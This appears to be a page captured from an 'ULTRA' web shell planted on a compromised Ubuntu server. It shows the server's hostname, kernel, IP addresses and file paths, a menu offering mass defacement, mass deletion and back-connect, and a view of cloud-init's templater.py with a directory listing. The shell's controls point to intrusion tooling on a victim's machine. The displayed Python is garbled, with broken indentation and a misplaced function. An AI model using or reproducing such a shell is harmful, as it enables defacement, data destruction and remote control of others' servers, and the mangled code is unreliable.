ULTRA [ drganbuganapathi.com ]

Linux mail.drganbuganapathi.com 6.8.0-60-generic #63-Ubuntu SMP PREEMPT_DYNAMIC Tue Apr 15 19:04:15 UTC 2025 x86_64

Apache/2.4.58 (Ubuntu)

165.22.222.249 | Your IP: 216.73.216.137

Cant read [ /etc/named.conf ]

[ drwxr-xr-x ]

/ proc / self / root / proc / self / root / lib / python3 / dist-packages / cloudinit /

Home Upload Mass Deface Mass Delete Back Connect Notify

templater.py

# Copyright (C) 2012 Canonical Ltd.
# Copyright (C) 2012 Hewlett-Packard Development Company, L.P.
# Copyright (C) 2012 Yahoo! Inc.
# Copyright (C) 2016 Amazon.com, Inc. or its affiliates.
#
# Author: Scott Moser <scott.moser@canonical.com>
# Author: Juerg Haefliger <juerg.haefliger@hp.com>
# Author: Joshua Harlow <harlowja@yahoo-inc.com>
# Author: Andrew Jorgensen <ajorgens@amazon.com>
#
# This file is part of cloud-init. See LICENSE file for license information.

# noqa: E402

import collections
import logging
import re
import sys
from typing import Any

from jinja2 import TemplateSyntaxError

from cloudinit import performance
from cloudinit import type_utils as tu
from cloudinit import util
from cloudinit.atomic_helper import write_file

# After bionic EOL, mypy==1.0.0 will be able to type-analyse dynamic
# base types, substitute this by:
# JUndefined: typing.Type
JUndefined: Any
try:
    from jinja2 import DebugUndefined as _DebugUndefined
    from jinja2 import Template as JTemplate

JINJA_AVAILABLE = True
    JUndefined = _DebugUndefined
except (ImportError, AttributeError):
    JINJA_AVAILABLE = False
    JUndefined = object

LOG = logging.getLogger(__name__)
MISSING_JINJA_PREFIX = "CI_MISSING_JINJA_VAR/"

class JinjaSyntaxParsingException(TemplateSyntaxError):
    def __init__(
        self,
        error: TemplateSyntaxError,
    ) -> None:
        super().__init__(
            error.message or "unknown syntax error",
            error.lineno,
            error.name,
            error.filename,
        )
        self.source = error.source

def __str__(self):
        """Avoid jinja2.TemplateSyntaxError multi-line __str__ format."""
        return self.format_error_message(
            syntax_error=self.message,
            line_number=self.lineno,
            line_content=self.source.splitlines()[self.lineno - 2].strip(),
        )

@staticmethod
    def format_error_message(
        syntax_error: str,
        line_number: str,
        line_content: str = "",
    ) -> str:
        """Avoid jinja2.TemplateSyntaxError multi-line __str__ format."""
        line_content = f": {line_content}" if line_content else ""
        return JinjaSyntaxParsingException.message_template.format(
            syntax_error=syntax_error,
            line_number=line_number,
            line_content=line_content,
        )

message_template = (
        "Unable to parse Jinja template due to syntax error: "
        "{syntax_error} on line {line_number}{line_content}"
    )

# Mypy, and the PEP 484 ecosystem in general, does not support creating
# classes with dynamic base types: https://stackoverflow.com/a/59636248
class UndefinedJinjaVariable(JUndefined):
    """Class used to represent any undefined jinja template variable."""

def __str__(self):
        return "%s%s" % (MISSING_JINJA_PREFIX, self._undefined_name)

def __sub__(self, other):
        other = str(other).replace(MISSING_JINJA_PREFIX, "")
        raise TypeError(
            'Undefined jinja variable: "{this}-{other}". Jinja tried'
            ' subtraction. Perhaps you meant "{this}_{other}"?'.format(
                this=self._undefined_name, other=other
            )
        )

@performance.timed("Rendering basic template")
def basic_render(content, params):
    """This does simple replacement of bash variable like templates.

It identifies patterns like ${a} or $a and can also identify patterns like
    ${a.b} or $a.b which will look for a key 'b' in the dictionary rooted
    by key 'a'.
    """

def replacer(match):
        # Only 1 of the 2 groups will actually have a valid entry.
        name = match.group(1)
        if name is None:
            name = match.group(2)
        if name is None:
            raise RuntimeError("Match encountered but no valid group present")
        path = collections.deque(name.split("."))
        selected_params = params
        while len(path) > 1:
            key = path.popleft()
            if not isinstance(selected_params, dict):
                raise TypeError(
                    "Can not traverse into"
                    " non-dictionary '%s' of type %s while"
                    " looking for subkey '%s'"
                    % (selected_params, tu.obj_name(selected_params), key)
                )
            selected_params = selected_params[key]
        key = path.popleft()
        if not isinstance(selected_params, dict):
            raise TypeError(
                "Can not extract key '%s' from non-dictionary '%s' of type %s"
                % (key, selected_params, tu.obj_name(selected_params))
            )
        return str(selected_params[key])

return re.sub(
        r"\$\{([A-Za-z0-9_.]+)\}|\$([A-Za-z0-9_.]+)", replacer, content
    )

def detect_template(text):
    def jinja_render(content, params):
        # keep_trailing_newline is in jinja2 2.7+, not 2.6
        add = "\n" if content.endswith("\n") else ""
        try:
            with performance.Timed("Rendering jinja2 template"):
                return (
                    JTemplate(
                        content,
                        undefined=UndefinedJinjaVariable,
                        trim_blocks=True,
                        extensions=["jinja2.ext.do"],
                    ).render(**params)
                    + add
                )
        except TemplateSyntaxError as template_syntax_error:
            template_syntax_error.lineno += 1
            raise JinjaSyntaxParsingException(
                error=template_syntax_error,
            ) from template_syntax_error
        except Exception as unknown_error:
            raise unknown_error from unknown_error

if text.find("\n") != -1:
        ident, rest = text.split("\n", 1)  # remove the first line
    else:
        ident = text
        rest = ""
    type_match = re.match(r"##\s*template:(.*)", ident, re.I)
    if not type_match:
        return ("basic", basic_render, text)
    else:
        template_type = type_match.group(1).lower().strip()
        if template_type not in ("jinja", "basic"):
            raise ValueError(
                "Unknown template rendering type '%s' requested"
                % template_type
            )
        if template_type == "jinja" and not JINJA_AVAILABLE:
            LOG.warning(
                "Jinja not available as the selected renderer for"
                " desired template, reverting to the basic renderer."
            )
            return ("basic", basic_render, rest)
        elif template_type == "jinja" and JINJA_AVAILABLE:
            return ("jinja", jinja_render, rest)
        # Only thing left over is the basic renderer (it is always available).
        return ("basic", basic_render, rest)

def render_from_file(fn, params):
    if not params:
        params = {}
    template_type, renderer, content = detect_template(util.load_text_file(fn))
    LOG.debug("Rendering content of '%s' using renderer %s", fn, template_type)
    return renderer(content, params)

def render_to_file(fn, outfn, params, mode=0o644):
    contents = render_from_file(fn, params)
    util.write_file(outfn, contents, mode=mode)

def render_string(content, params):
    """Render string"""
    if not params:
        params = {}
    _template_type, renderer, content = detect_template(content)
    return renderer(content, params)

def render_template(variant, template, output, is_yaml, prefix=None):
    contents = util.load_text_file(template)
    tpl_params = {"variant": variant, "prefix": prefix}
    contents = (render_string(contents, tpl_params)).rstrip() + "\n"
    if is_yaml:
        out = util.load_yaml(contents, default=True)
        if not out:
            raise RuntimeError(
                "Cannot render template file %s - invalid yaml." % template
            )
    if output == "-":
        sys.stdout.write(contents)
    else:
        write_file(output, contents, omode="w")

Name	Type	Size	Owner/Group	Permission	Last Modified	Actions
.	dir	-	root/root	drwxr-xr-x	2025-07-31 06:37:40
..	dir	-	root/root	drwxr-xr-x	2025-12-10 06:08:40
__pycache__	dir	-	root/root	drwxr-xr-x	2025-07-31 06:37:40
analyze	dir	-	root/root	drwxr-xr-x	2025-07-31 06:37:40
cmd	dir	-	root/root	drwxr-xr-x	2025-07-31 06:37:40
config	dir	-	root/root	drwxr-xr-x	2025-07-31 06:37:40
distros	dir	-	root/root	drwxr-xr-x	2025-07-31 06:37:40
filters	dir	-	root/root	drwxr-xr-x	2025-07-31 06:37:40
handlers	dir	-	root/root	drwxr-xr-x	2025-07-31 06:37:40
log	dir	-	root/root	drwxr-xr-x	2025-07-31 06:37:40
mergers	dir	-	root/root	drwxr-xr-x	2025-07-31 06:37:40
net	dir	-	root/root	drwxr-xr-x	2025-07-31 06:37:40
reporting	dir	-	root/root	drwxr-xr-x	2025-07-31 06:37:40
sources	dir	-	root/root	drwxr-xr-x	2025-07-31 06:37:40
__init__.py	inode/x-empty	0 B	root/root	-rw-r--r--	2025-06-25 02:20:00
apport.py	text/x-python	8.3 KB	root/root	-rw-r--r--	2025-06-25 02:20:00
atomic_helper.py	text/x-python	2.79 KB	root/root	-rw-r--r--	2025-06-25 02:20:00
cloud.py	text/x-python	3.71 KB	root/root	-rw-r--r--	2025-06-25 02:20:00
dmi.py	text/x-python	7.81 KB	root/root	-rw-r--r--	2025-06-25 02:20:00
event.py	text/x-python	2 KB	root/root	-rw-r--r--	2025-06-25 02:20:00
features.py	text/x-python	5.27 KB	root/root	-rw-r--r--	2025-06-25 02:44:03
gpg.py	text/x-python	7.99 KB	root/root	-rw-r--r--	2025-06-25 02:20:00
helpers.py	text/x-python	16.16 KB	root/root	-rw-r--r--	2025-06-25 02:20:00
importer.py	text/x-python	2.43 KB	root/root	-rw-r--r--	2025-06-25 02:20:00
lifecycle.py	text/x-python	7.79 KB	root/root	-rw-r--r--	2025-06-25 02:20:00
netinfo.py	text/x-python	24.07 KB	root/root	-rw-r--r--	2025-06-25 02:20:00
performance.py	text/x-python	3.1 KB	root/root	-rw-r--r--	2025-06-25 02:20:00
persistence.py	text/x-c++	2.52 KB	root/root	-rw-r--r--	2025-06-25 02:20:00
registry.py	text/x-python	1022 B	root/root	-rw-r--r--	2025-06-25 02:20:00
safeyaml.py	text/x-python	10.11 KB	root/root	-rw-r--r--	2025-06-25 02:20:00
settings.py	text/plain	2.12 KB	root/root	-rw-r--r--	2025-06-25 02:20:00
signal_handler.py	text/x-python	3.92 KB	root/root	-rw-r--r--	2025-06-25 02:20:00
simpletable.py	text/x-python	1.93 KB	root/root	-rw-r--r--	2025-06-25 02:20:00
socket.py	text/x-python	5.93 KB	root/root	-rw-r--r--	2025-06-25 02:20:00
ssh_util.py	text/x-python	22.21 KB	root/root	-rw-r--r--	2025-06-25 02:20:00
stages.py	text/x-python	41.53 KB	root/root	-rw-r--r--	2025-06-25 02:20:00
subp.py	text/x-python	12.43 KB	root/root	-rw-r--r--	2025-06-25 02:20:00
temp_utils.py	text/x-python	2.94 KB	root/root	-rw-r--r--	2025-06-25 02:20:00
templater.py	text/x-python	7.74 KB	root/root	-rw-r--r--	2025-06-25 02:20:00
type_utils.py	text/x-python	703 B	root/root	-rw-r--r--	2025-06-25 02:20:00
url_helper.py	text/x-python	38.15 KB	root/root	-rw-r--r--	2025-06-25 02:20:00
user_data.py	text/x-python	14.44 KB	root/root	-rw-r--r--	2025-06-25 02:20:00
util.py	text/x-python	90.74 KB	root/root	-rw-r--r--	2025-06-25 02:44:03
version.py	text/x-python	568 B	root/root	-rw-r--r--	2025-06-25 02:44:03
warnings.py	text/x-python	3.76 KB	root/root	-rw-r--r--	2025-06-25 02:20:00